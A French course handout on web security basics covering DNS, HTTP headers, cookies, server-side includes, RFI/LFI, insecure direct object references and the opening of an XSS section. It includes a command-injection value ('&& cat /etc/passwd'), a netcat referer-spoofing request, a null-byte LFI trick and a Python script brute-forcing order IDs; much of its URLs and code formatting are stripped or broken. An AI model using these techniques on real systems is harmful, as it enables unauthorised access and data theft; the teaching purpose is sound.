Support de cours complet sur les bases du hacking methodes et securite
I – MIEUX CONNAITRE LE WEB
Les bases de l'exploitation Web
Puisque la base de tout en sécurité est la compréhension, commençons par le commencement : comment est-ce que ça marche ? En d'autres termes, lorsque je prends mon navigateur et que je demande l'URL , quels sont les acteurs et les moyens de communication permettant la bonne navigation et l'affichage des différentes ressources ? Voici ce à quoi nous allons tenter de répondre brièvement dans ce premier article.
Communication et résolution DNS
Première étape, la résolution DNS (Domain Name System). En effet, il est bien joli de vouloir contacter , mais l'ordinateur ne sait pas plus que vous où le trouver. Ceci nous ammène à considérer les fondements de l'Internet. Comment les ordinateurs communiquent-ils entre eux ?
On peut voir l'Internet comme une sorte de toile d'araignée géante (d'où le www, World Wide Web) constituée de noeuds que sont les routeurs et autres équipements télécom permettant la transmission des messages. Le schéma suivant donne une vision très schématique de ce qu'est Internet et permet d'envisager la façon dont peuvent communniquer différents acteurs.
Dans cet exemple, nous avons l'ordinateur A ayant par exemple comme fournisseur d'accès Orange et cherchant à joindre l'ordinateur B qui a deux connexions, l'une chez Free et l'autre chez Cogent. Tout d'abord, le message de A va devoir sortir de son réseau local (via un routeur ou autres modems ADSL). Une fois sorti, il se retrouve sur le réseau de son ISP (Internet Service Provider, Fournisseur d'Accès Internet ou FAI en français). Le message va être routé (ie, transporté) vers ceux que l'on dénomme les "points de peering", autrement dit de gros switchs où viennent s'interconnecter les ISP ainsi que certains professionels, notamment les hébergeurs. Le message passe donc dans le réseau de Free ou dans celui de Cogent pour arriver vers l'ordinateur B, en passant par les réseaux internes de l'ISP concerné, de la même façon qu'à l'aller.
Les messages transitants de cette façon utilisent un protocole de communication appellé IP (Internet Protocol), qui assigne à chaque noeud du réseau une "adresse" numérique composés de quatres octets (entre 0 et 255), bien connue sous le nom d'adresse IP. Ainsi, si tous les composants du réseau sont correctement configurés, ils vont tout simplement pouvoir faire transiter les paquets vers la cible correcte. Par exemple, on pourrait configuer un routeur en lui indiquant que tous les messages en direction de 1.2.3.4 doivent passer par Cogent, ceux qui sont de type 1.4.3.5 sont utilisés par Free, etc Ces règles sont aussi appellées routes. Aller plus en profondeur sur les moyens de communication mis en oeuvre serait fort intéressant mais n'est pas notre but ici. Nous voulons simplement donner une idée grossière de la façon dont les communications s'effectuent.
Le dernier maillon de la chaîne est donc ce fameux DNS. En effet, il existe des registres permettant d'associer des noms de domaines (ici, ) avec les adresses IP que nous venons d'évoquer. En réalité, l'ordinateur A va demander à son serveur DNS préféré l'adresse du nom demandé. Ce serveur intermédiaire va consulter ceux que l'on nomme les root servers, qui sont au nombre de 13 et constituent la base de l'Internet actuel. Ils vont consulter leurs registres. S'ils ne connaissent pas le nom, ils vont rediriger vers un autre serveur DNS responsable de la zone en question (par exemple, les .org sont maintenus par les serveurs X.Y.Z.D et Z.E.R.D). Si ces nouveaux serveurs ne connaissent pas le nom, ils vont encore déléguer au serveur DNS responsable de la zone en question, etc, jusqu'à ce que le nom soit trouvé ou qu'un serveur n'ai ni le nom en base, ni un serveur auxiliaire responsable d'une zone liée au nom de domaine. Une fois cet enchaînement terminé, le serveur préféré va pouvoir retourner la réponse au demandeur, comme dans l'exemple qui suit :
$ nslookup
Server: 208.67.222.222 Address: 208.67.222.222#53
Non-authoritative answer:
Name: Address: 213.186.33.87
Ici, Non-authoritative answer indique que le serveur renvoie une réponse qui ne dépend pas de lui (autrement dit, qu'il se fait relai d'un autre serveur DNS).
Avec tout cela, notre navigateur a enfin déterminé qui nous souhaitons qu'il contacte. Puisque rien n'est superflu dans l'URL que nous avons entrée, c'est que ce http:// doit servir à quelquechose, non ? En effet, comme nous allons le voir tout de suite, ce préfixe indique le protocole, ou langage, qui va être utilisé entre nous et pour que chacun puisse comprendre les questions/réponses de l'autre.
De l'autre côté de la barrière se trouve donc le serveur Web (Apache, IIS, JBoss, GlassFish, etc ), ou serveur HTTP (HyperText Transfert Protocol). Le protocole HTTP est donc finalement le langage qui va permettre au client (le navigateur) de demander au serveur des ressources (par exemple, vous avez demandé ici au serveur la ressource ). Ensuite, le serveur, connaissant la demande, est libre de chercher la ressource, en ajoutant des données dynamiques ou non et la renvoie via ce même protocole au client. On parle donc de requêtes (du navigateur) et de réponses (du serveur) HTTP. Requêtes et réponses sont toutes formées de la même façon : des en-têtes, ou headers décrivent la demande et fournissent des indications supplémentaires (permettant d'identifier le client, son navigateur, le type de langue qu'il sait lire ou encore des informations sur les données à suivre par exemple). Ensuite suivent les données à transmettre. Un petit aparté sur les headers HTTPet le protocole en général est fait dans un article annexe, ne nous attardons donc pas plus sur ce langage et revenons à notre serveur.
En effet, côté serveur, on est libre de faire les traitements internes nécessaires afin de rendre un résultat personnalisé à l'internaute. En réalité, les fichiers distants demandés peuvent être écrits avec n'importe quel langage de programmation (de façon plus commune, PHP, ASP, Java, PERL ). Le serveur va les analyser et les exécuter avant d'en renvoyer les résultats. Le serveur possède donc ou peut contacter diverses resources, bases de données ou programmes d'interprétation qui vont garantir au client distant une navigation plus évoluée. Ainsi, une requête HTTP vers pourrait être schématisée de la manière suivante :
De son côté, le navigateur va recevoir les données et les mettre en forme de manière visuelle pour les rendre à l'utilisateur. De manière générale, le contenu Web est formatté selon le langage HTML (HyperText Markup Language). Par exemple, vous pouvez faire clic droit > Afficher la source pour voir le langage dans son plus simple appareil. Plusieurs types de contenus/langages (images, Java, JavaScript, Flash, etc ) peuvent être incorporés à ce HTML et seront analysés et affichés par le navigateur. Des parties de ces données peuvent également être stockées sur l'ordinateur de la personne qui consulte le site, afin d'enregistrer des profils de navigation ou un identifiant réutilisable pour une authentification ultérieur. Ce sont les cookies(article annexe).
Voici donc pour les basiques du fonctionnement de l'Internet et plus particulièrement de la navigation sur les sites Webs. Passons donc sans plus attendre à nos premières exploitations : les inclusions dynamiques.
Les HTTP headers (en-têtes HTTP)
Les en-têtes http
Alors pourquoi consacrer une rubrique aux en-têtes HTTP ? La réponse est simple, non pas que ce soit un outil de la sécurité informatique primordial, mais il est bon de savoir se familiariser avec des protocoles communs tels HTTP. Comme dans tout protocole (ARP, TCP, IP, SMTP, etc ), les en-têtes sont primordiaux car elles font partie intégrante du message qui va être transporté. Quand on demande à son navigateur d'afficher un site web, notre site web transmet et reçoit plein d'informations qui permettent d'afficher ces jolies pages que vous voyez. Nous comptons donc vous faire découvrire ce qui se passe derrière votre navigateur et vous dissuader à tout jamais d'utiliser les headers comme un quelconque outil de sécurité.
Le protocole HTTP est décrit dans la RFC (Request For Comments) 2616 que voici :
RFC HTTPde
Ce document détaille entièrement le protocole HTTP. Par exemple, voici les en-têtes que nous avons envoyé pour faire apparaître cette page :
GET HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 Iceweasel/2.0.0.4 (Debian-2.0.0.4-0etch1) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/ plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: fr,en-us;q=0.8,en;q=0.6,zh-cn;q=0.4,zh-hk;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Il n'y a pas franchement d'intérêt à expliquer chaque header, en général le nom parle de lui-même. Nous pouvons brièvement citer les plus importants : Host est le nom de domaine du site visité, User-Agent est le navigateur utilisé (souvent accompagné du système d'exploitation), accept définit le type de données que l'utilisateur peut recevoir, referer indique la page d'où l'on vient et cookies transmet les données écrites dans le cookie local s'il y en a. Il est aussi à noter que les données POST (données envoyées par le navigateur vers le serveur Web, comme un formulaire par exemple) sont transmises à la fin des headers si nécessaire (en ayant indiqué dans les headers le type de données envoyées et leur taille). Les headers sont juste finalement des données textes où l'on peut mettre n'importe quoi et n'ont aucun poids sécuritairement parlant, ce que nous nous proposons d'illustrer maintenant.
Un petit exemple
Si vous n'avez pas encore consulté notre page sur les , nous vous invitons à découvrir le code source qui y est donné en exemple et qui servira à démontrer nos dires. On remarque dans la page que le script vérifie au préalable que nous sommes bien passés par pour arriver à cette page. Puisque les headers ne sont que des données texte, nous pouvons nous-mêmes indiquer le referer et dire, même si celà est faux, que nous venons de la page . En voici l'exemple :
//nc est la commande netcat qui permet de se connecter directement à un serveur et de dialoguer avec lui (ici la connexion se fait sur le serveur , au port 80, port HTTP classique)
$ nc localhost 80
GET HTTP/1.1
Host:
Referer:
HTTP/1.1 302 Found
Date: Fri, 03 Aug 2007 23:22:58 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.3-1+b1
X-Powered-By: PHP/5.2.3-1+b1
Location: ./
Content-Length: 388
Content-Type: text/html; charset=UTF-8
Bases Hacking Administration
Zone
Faille de type SQL Injection et Referrer Spoofing
Erreur ! Nom du fichier non spécifié.
Bienvenue sur le panel d'administration de Bases Hacking ! Malheureusement, cette page est encore en construction, mais elle sera bientôt là !
Comme prévu, le serveur nous renvoit bien la page , bien que nous ne soyons pas du tout passés par la case authentification. On peut remarquer au passage que le serveur communique de la même façon que nous, en commençant par ses headers, indiquant entre autre les données qu'il envoit et leur taille. D'ailleurs, c'est un premier moyen d'en connaître plus sur l'adversaire : type et version du serveur, version de l'interpréteur PHP, etc. Le premier pas vers la sécurisation d'un serveur Web est d'ailleurs la restriction HTTP (suppression des headers X-Powered-By, Server, interdiction de la méthode, TRACE, etc.).
Au final, un protocole n'est rien d'autre qu'un langage de communication normalisé entre deux instances : un client (ici, nous) et un serveur (ici, Apache sur ). Chacun peut diriger d'une certaine manière la communication en se servant de ce langage
Les Cookies
Qu'est ce que les cookies ?
Les cookies sont des fichiers qu'écrivent les sites web en local sur votre ordinateur. Ils ont plusieurs utilités : la tracabilité de clients, l'identification sécurisée des utilisateurs ou admins d'un site ou l'enregistrement de données sur l'utilisateur pour des sites commerciaux. Ces données sont transmises à la fin des headers HTTP avec la forme suivante : Cookie: nom_du_cookie_1=valeur_du_cookie_1; nom_du_cookie_2=valeur_du_cookie_2 avec autant de cookies que l'on peut vouloir. De façon classique, beaucoup de sites stockent un cookie SESSID qui n'est autre que votre variable d'identification au site, ce qui permet de sécuriser les authentifications (le serveur garde en local les sessions SESSID utilisées et les données qui leur sont liées, comme un login). Vous pouvez accéder à tous vos cookies depuis votre navigateur, par exemple sous Firefox Linux, Edit > Preferences > Privacy > Show Cookies Sous Firefox Windows, l'onglet Préférences est dans Outils ou Tools. Sous Internet Explorer, les cookies sont aussi accessibles depuis l'onglet options internet. Avec Chrome, Outils -> Options, onglet Options avancées.
Par défaut, les navigateurs ne permettent pas la modification des cookies (outre la suppression) car cela peut entraîner des désagréments de navigation quand l'utilisateur ne sait pas vraiment ce qu'il fait. Ceci dit, il est toujours possible de trouver des plugins ou utilitaires de modification des cookies. Effectivement, puisque ces fichiers sont stockés en local sur votre disque, rien ne vous empêche de les modifier. Bien sûr, il est totalement possible de communiquer des faux cookies par la méthode utilisée dans la rubrique précédente (netcat ou communication directe au serveur).
Pourquoi se méfier des cookies ?
Il y a plusieurs raisons à ça : tout d'abord, puisque les fichiers sont réécrits en local et peuvent être consultés, il ne faut jamais stocker des variables importantes ou que l'utilisateur ne doit pas connaître dans ces cookies. Ensuite, il y a des règles bon sens, comme le fait de ne jamais poser un cookie admin booléen, ce qui se voit et est totalement insécurisé (du point de vue programmeur, il faut toujours penser au cookie comme à n'importe quelle autre variable passée par l'URL par exemple). Certains sites de musique en ligne, souhaitant que les utliisateurs non-identifiés ne puissent écouter qu'un nombre limité de pistes, posent des cookies chargés de suivre le nombre actuel écouté, puis, lorsque l'utilisateur a atteint la limite, lui affichent un message lui demandant de s'enregistrer/identifier. Cette protection paraît donc assez inutile, puisque la suppression du cookie va remttre le compteur à zéro à chaque fois et permettre d'écouter autant de pistes que souhaité.
Enfin, les cookies sont une préoccupation première des attaquants (puisqu'ils constituent un moyen d'authentification), comme nous l'explicitons avec l'exemple des failles XSS notamment. Par conséquent, utiliser les cookies reste une manière sûre d'effectuer des authentifications, mais la sécurité s'abaisse à la facilité d'accessibilité à ces cookies (un ingénieur social peut très facilement demander ses cookies à quelqu'un sans que celui-ci se rende compte qu'il peut s'agir d'informations cruciales). Ces attaques se mitigent récemment avec certains serveurs qui lient un cookie avec l'IP de son utilisateur (ainsi, une autre personne à une autre adresse essayant de réutiliser le cookie ne sera pas reconnue). Au niveau de l'utilisateur, les cookies peuvent être utilisés par des tracker publicitaires ou des chaînes commerciales du web pour stocker des informations sur vous et certains sites que vous visitez, c'est pourquoi nous conseillons de vider régulièrement vos cookies (avec Firefox "Clear private data" ou "Effacer mes traces", sous Internet Explorer, "Effacer mes fichiers temporaires et cookies", un raccourci commun étant Ctrl + Shift + Suppr). A défaut de tous les supprimer, des utilitaires tels Ad-aware ou Spybot S&D savent traquer et reconnaître les cookies malveillants.
Inclusions dynamiques
Server-side includes
Ce premier type de faille n'est pas très courant mais permet de bien comprendre les mécanismes mis en jeu. Il concerne donc les fichiers de type shtml. Beaucoup de gens les confondent avec les fichiers xhtml (eXtensible HyperText Markup Language) qui eux ne sont qu'une redéfinition standard du HTML. Ces fichiers s'appellent Server-side HTML et sont une facilité pour les développeurs qui veulent pouvoir exécuter des commandes systèmes. En effet, la majorité des serveurs analysent ce type de page avant de les rendre au client et y interprètent certaines données.
Par exemple, prenons le fichier SHTML suivant :
Test SSI
Lors de l'analyse du fichier, le serveur Web va apercevoir les marqueurs de code embarqué () et va interpréter ce qu'il trouvera au milieu. Dans notre cas, il exécutera la commande echo `ls -l /tmp/test`.
Au final, le navigateur recevra donc une page Web avec comme titre "Test SSI" et comme contenu quelque chose du genre "-rw-r--r-- 1 root root 0 aoû 31 22:12 /tmp/test" si le fichier existe bien. Ce genre de système peut être bien pratique sur certains portails personnalisés par exemple où l'on veut extraire directement des données du serveur. C'était en réalité un embryon de développement dynamique orienté Web. Mais comme toute technologie désuette, il y en a encore qui l'utilisent aujourd'hui, coûts de migration obligent.
Ce langage est capable d'effectuer des tests de condition ou encore d'inclure d'autres fichiers. On a pu voir des portails qui généraient à la demande un fichier client.shtml contenant un code du type
Dans ce cas, on peut imaginer s'inscrire sur le portail avec comme nom de client && cat /etc/passwd. La commande exécutée, vous l'avez compris, serait transformée en ls -l /home/ && cat /etc/passwd, ce qui aura pour effet de concaténer à la suite du listage du répertoire /home/ le contenu du fichier /etc/passwd, contenant la liste des utilisateurs sur les systèmes UNIX. Vous l'aurez compris, ce genre de problème n'est pas courant mais permet selon moi de commencer à appréhender les insécurités que peuvent ramener l'exécution dynamique et surtout les interactions avec l'utilisateur.
Nous ne détaillerons pas plus ce point mais je vous invite à essayer de reproduire ce scénario, ce qui permettra en premier lieu une bonne compréhension des composants mis en jeu et d'autre part un aperçu ne serait-ce que minimal de la configuration d'un serveur Web.
Au final, ce cas est spécial car la variable dynamique est déjà à l'intérieur d'un script. Mais toute donnée dynamique amenée à être écrite dan un fichier .shtml est potentiellement dangereuse si elle est remplacée par du code interprétable entre balises. Nous aurons l'occasion d'étudier plus tard le Cross-Site Scriptingmettant bien plus en avant les dangers de la présentation de contenu dynamique originant de l'utilisateur dans une page Web.
De manière générale, cette fonctionnalité est désactivée par défaut (il suffit par exemple sous Apache2.x d'ajouter le module include à la liste des modules chargés).
Passons maintenant à l'inclusion dynamique de fichiers, bien plus d'actualité.
RFI et LFI
Les failles de type RFI (Remote File Include) et LFI (Local File Include) sont les conséquences d'une trop grande confiance envers ses utilisateurs. En fait, tout programmeur web pense avant tout à la rapidité et à la facilité de navigation pour un utilisateur lambda venant visiter le site. Il ne faut surtout pas oublier l'utilisateur gzeta qui ne vient pas pour visiter le site mais pour essayer d'en tirer profit. La fonction php include() permet d'inclure ce qui est contenu dans n'importe quel autre fichier dans une page web. Notre site est une illustration typique de ce type de fonction. En réalité, le site est construit à partir d'une seule page qui appelle dynamiquement les articles et en place le contenu en son centre. Dans notre cas, ce mécanisme est quelque peu masqué mais de manière générale il l'est beaucoup moins. On le remarque notamment avec des URLs de la forme ?page=XXX.
De cette manière, il n'est pas nécessaire de réécrire le code de présentation et des menus dans chaque page du site, mais seulement dans notre page principale qui ensuite inclut elle-même tous les articles. L'inclusion est effectuée, puis interprétée, c'est-à-dire que si on inclut une page contenant du code, il sera interprété comme s'il faisait partie de la page originale, celà est particulièrement pratique quand une portion de code se répète plusieurs fois dans différentes pages d'un site. Seulement, quand cette fonction est utilisée sans trop prendre garde à ce que l'utilisateur pourrait faire, elle peut permettre un DoS (Denial of Service, c'est-à-dire le plantage du serveur) ou même l'éxécution de code arbitraire côté serveur. Cette faille est l'une des plus dangereuses car elle donne réellement un accès complet au serveur. Comme exemple de la manière dont cette faille peut être exploitée, nous pensons que la démonstration suivante parle d'elle-même.
Un petit exemple
Voici le code de deux pages web écrites en PHP : et . Ceci est codé de sorte à ce que n'importe quel utilisateur sollicitant l'index se verra afficher l'accueil. La fonction include() est utilisée, considérant l'extension future du site :
//S'il n'y a pas d'url spécifiée, afficher l'accueil
Bases Hacking
Faille de type PHP include
Erreur ! Nom du fichier non spécifié.
Bienvenue sur
SeriousHacking !
Notre but avec ce site est d'introduire le grand public à l'état d'esprit des hackers. Pour ce, nous allons essayer de vous apprendre les techniques fondamentales du vrai hacking, de l'exploitation des failles classiques du web (xss, include, sql injection ), à l'injection de shellcode en mémoire (buffer overflow, ou BoF), en passant par la redirection des flux réseaux (ARP Poisoning) ou les méthodes de crackage des clés WEP qui sécurisent vos réseaux Wifi. Nous essaierons de vous faire pénétrer dans ce que Jon Erikson a dénommé "l'art de l'exploitation".N'est pas un hacker qui sait "deface" un site web. Hacker, c'est tout d'abord avoir des bases solides en informatique généraliste et surtout savoir réfléchir, s'adapter à de nouvelles situations et innover. Bien sûr, pour combattre le hack, il faut tout simplement le connaître aussi bien que les acteurs du hack eux-mêmes. Pouvoir sécuriser un site, un serveur, un ordinateur personnel, c'est avant tout savoir quelles failles sont susceptibles d'exister et comment elles sont exploitables afin de les combler.
Nous espérons susciter des vocations vers ce monde malheureusement trop peu connu et diffusé qu'est la sécurité informatique.
Bon voyage en notre compagnie,
L'équipe de Bases
Hacking
Nous allons donc vous expliquer le but de ces pages avec quelques screenshots qui parlent d'eux-mêmes. Tout d'abord, voici ce que l'on voit en sollicitant le site :
accueil
Nous allons maintenant essayer d'inclure une page extérieure au site, par exemple, en ajoutant à l'url et voir ce qui se passe :
Intégration de code extérieur
Ce qui se passe est très édifiant : la page de google apparaît sur le site (sans les images qui n'existent pas dans notre répertoire).
Ainsi, un attaquant peut tout à fait écrire sur un autre site un script php qui demande de réécrire l'index du site, ou de changer l'extension des scripts du site (pour qu'ils ne soient pas interprétés et que le code soit visible). En incluant la page de son script, l'attaquant a un accès complet au serveur et peut faire ce qu'il veut dans la limite des droits du serveur Web, par exemple deface le site web ou encore accéder aux éventuelles bases de données, aux mots de passe, etc..
Dans ce cas, la faille est dite RFI car il est possible d'inclure du contenu distant. De manière générale, les failles sont plutôt de type LFI (inclusion de fichier local) et vont permettre par exemple de consulter tous les fichiers du serveur ou d'inclure des fichiers malveillants que l'attaquant aura pu déposer au préalable. D'ailleurs, selon certaines configuration, un code de type include("/blabla/".$page.".php"); peut rester vulnérable à l'inclusion locale en injectant un caractère de fin de chaîne, le byte 0 (ou NULL-byte). Par exemple, demande la page %00 reviendrait au même que l'inclusion de , permettant de ne pas appliquer la restriction d'extension php souhaitée. Une autre façon d'utilier les LFI est décrite dans l'article sur le directory traversal.
Il y a cependant une autre façon, moins connue, d'exploiter ce type de faille : resolliciter la page qui inclut les autres. Ainsi, la page va s'inclure à l'infini, provoquant à la longue (et en multipliant les requêtes de ce type) le plantage du serveur web, ou Déni de Service :
Déni de Service (DoS)
Cette exploitation est intéressante car elle ne nécessite pas l'accès à un site extérieur (qui peut être très facilement bloqué). Un court article de recommandations de programmation Web sécuriséevous donnera plus d'informations sur les bonnes pratiques permettant d'éviter ce genre de failles.
Références directes d'objets Définition
Passons maintenant à une faille facile de compréhension mais pour le moins dangereuse. Labellisée par les instituts CWE/SANS comme Improper Access Control ou Insecure Direct Object Reference, ce type de vulnérabilité affecte les applications qui ne contrôlent pas suffisament les ressources que peuvent accéder les utilisateurs, partant souvent du principe que ceux-ci ne dévieront pas de la navigation normale.
Dans la pratique, ce type de problème intervient lors d'accès à des ressources référencées ou indexées. Notamment, le profil de l'utilisateur
"1", l'accès au panier "654", etc
Les applications Web les plus touchées sont sans nul doute les applications de type client/serveur (applets Java, applications Flash/Flex, etc ).
Pour ne pas compliquer inutilement ce petit article, nous considérerons néanmoins un site classique, en JSPs (Java Server Pages), une facilité de scripting en Java, afin d'illustrer ceci.
Un petit exemple
Un petit site d'après-vente très simple, où il est question de retrouver d'après un numéro d'identification, à 5 chiffres, les détails d'une commande passée et d'en effectuer les modifications si nécessaire.
<%@ page language="java" contentType="text/html; charset=ISO-
8859-1" pageEncoding="ISO-8859-1"%>
<%@ page import = ".*" %>
"">
<%
Integer id;
String param = request.getParameter("idCommande"); if (param == null || param.length() != 5) { id = 0;
} else { try { id = Integer.parseInt(param);
} catch (NumberFormatException nfe) { id = 0;
}
}
/* Emulation d'une fonction de vérification d'existence */ if (id == 0 || (id != 12345 && id != 23456)) {
%>
Suivi de votre commande
Haut du formulaire
Bas du formulaire
Référence de votre commande :
<%
} else {
/* Récuperation de la commande * Commande com = getCommandeByID(id);
* etc
*/
%>
Suivi de votre commande
Référence de votre commande : <% out.println(id); %>
Détails de votre commande : [ ]
<%
}
%>
Vous l'aurez remarqué, faire une page fonctionnelle complète aurait été hors de propos. La fonction de vérification d'existence est simulée par un if, indiquant qu'il n'y a que les références "12345" et "23456" qui existent.
On consulte donc ce petit site en fournissant la référence indiquée sur notre bon de commande, "12345".
Consultation Bon de commande
La page de détail s'affiche bien donc la commande a été trouvée. Testons donc avec un id au hasard, "31337.
Mauvais numéro
Le site nous renvoie le formulaire de demande de la référence, ce qui correspond bien à ce que nous avons fait. Maintenant, il est temps de s'intéresser à ce qui ne va pas. Deux choses. D'une part, la référence à la commande est directe (référence d'identification de la commande). Autrement dit, si nous trouvons le numéro d'une commande qui n'est pas à nous, nous pouvons quand même afficher la page de détail. D'autre part, l'étendue des numéros est trop petite. En effet, un identifiant à 5 chiffres laisse seulement une centaine de milliers de possibilités, ce qui est très faible comparé à la puissance de calcul informatique actuelle. L'idée serait donc ici de tester tous les numéros afin de trouver ceux qui sont valides.
Avec un programme bateau de brute-force, on peut tester rapidement et trouver des références valides (le programme est volontairement ralenti et utilise le moins de sockets possibles, à cause de lenteurs des fermetures de sockets de httplib et surtout de la faiblesse de la plateforme Tomcat/Java qui est derrière et qui tombe relativement rapidement sur des attaques brutes de ce type en remplissant son heap).
$ cat && ./brute | grep n
#!/usr/bin/python
import httplib import re import socket import time
def main(): match = re.compile("tails") refs = []
i = 0 x = () while True:
if i >= 30000: break
conn = httplib.HTTPConnection(":8080")
print i for j in range(0,100):
conn.request("GET", "?idCommande=" + str(i))
resp = conn.getresponse() data = () if match.search(data) != None:
print "Found " + str(i) + " in " + str(() - x) + " seconds" refs.append(i)
i = i+1
conn.close()
if refs != []:
print "Commandes existantes : ", for ref in refs:
print " " + str(ref),
else:
print "Aucune commande valide"
if __name__ == "__main__":
main()
Found 12345 in 12.6583929062 seconds
Found 23456 in 20.1704540253 seconds Commandes existantes : 12345 23456
Vous l'avez compris, ce genre de danger est présent lors d'accès à des ressources sans avoir besoin de s'authentifier, auquel cas la clé doit être suffisamment difficile à deviner ou brute forcer, ainsi que dans tous les cas où des variables d'identification d'objet sont passées à l'utilisateur puis réutilisées, auquel cas il faut bien vérifier que l'utilisateur a le droit de consulter l'objet.
Un court article de recommandations de programmation Websécuriséevous donnera plus d'informations sur les bonnes pratiques permettant d'éviter ce genre de failles.
Cross Site Scripting Définition
Le Cross Site Scripting, ou XSS, est la faille la plus présente sur le web, et d'assez loin. Elle est désignée par quantité de noms, parmi lesquels "faille des livres d'or", tout simplement car ceux-ci ont permi une généralisation de ces vulnérabilités faille. La faille de type XSS se caractérise par une injection possible de code arbitraire dans une application web côté client. Autrement dit, une possibilité d'éxécution d'une variable mal contrôlée par le site. Il existe plusieurs types de failes XSS :
- • Le type connu en tant que type 1, ou vulnérabilité réfléchie résulte de l'utilisation de données fournies par l'utilisateur dans un script quelconque, sans les modifier. Typiquement, une simulation en ligne ou une page de statistiques. Ainsi, si ces données ne sont pas modifiées, on peut ajouter du "script dans le script" qui sera lui-même éxécuté.
Ceci dit, en modifiant les données qui doivent être traitées, le résultat du XSS ne va modifier que la page que peut afficher l'utilisateur. Cela peut paraître bénin, mais ça l'est beaucoup moins quand l'attaquant utilise le Social Engineering et diffuse des pages piégées de cette façon. Ce genre de vulnérabilités est souvent utilisé pour lancer des campagnes de spam afin de ternir l'image d'un site (redirections, modifications d'apprence) ou de voler des informations (phishing).
- Le type 2, ou vulnérabilité persistente ou du second ordre, permet des exploitations plus en profondeur. C'est la faille des livres d'or, présente dans les forums, les formulaires d'inscription. La différence essentielle est que les données entrées sont stockées dans des bases de données et sont traitées quand un utilisateur les demande. Par conséquent, on peut affecter n'importe qui sollicitera un certain sujet dans un forum ou la liste des pseudos enregistrés, etc.. Cette faille peut permettre des éxécutions côté client ou côté serveur selon les cas et peut permettre tout type d'exploitation, de la récupération de cookies à l'éxécution de scripts malveillants. On a vu des XSS intégrés à des bases de données institutionnelles rendant inaccessibles des dizaines de sites dépendants de ces contenus.
- Enfin, le type 0, connu comme le DOM-based ou localcross scripting site est un problème directement sur le script côté client (en général, le javscript) de la page (variables passées en URL qui sont réutilisées dans le javascript, etc..). Cette vulnérabilité est soit exploitée à nouveau par Social Engineering, soit par liens interposés dans lesquels on injecte du code qui sera ensuite éxécuté côté client. Celui-ci est finalement très sensible au type I et est très répandu et facilement repérable, notamment par des scanners automatisés. Un petit exemple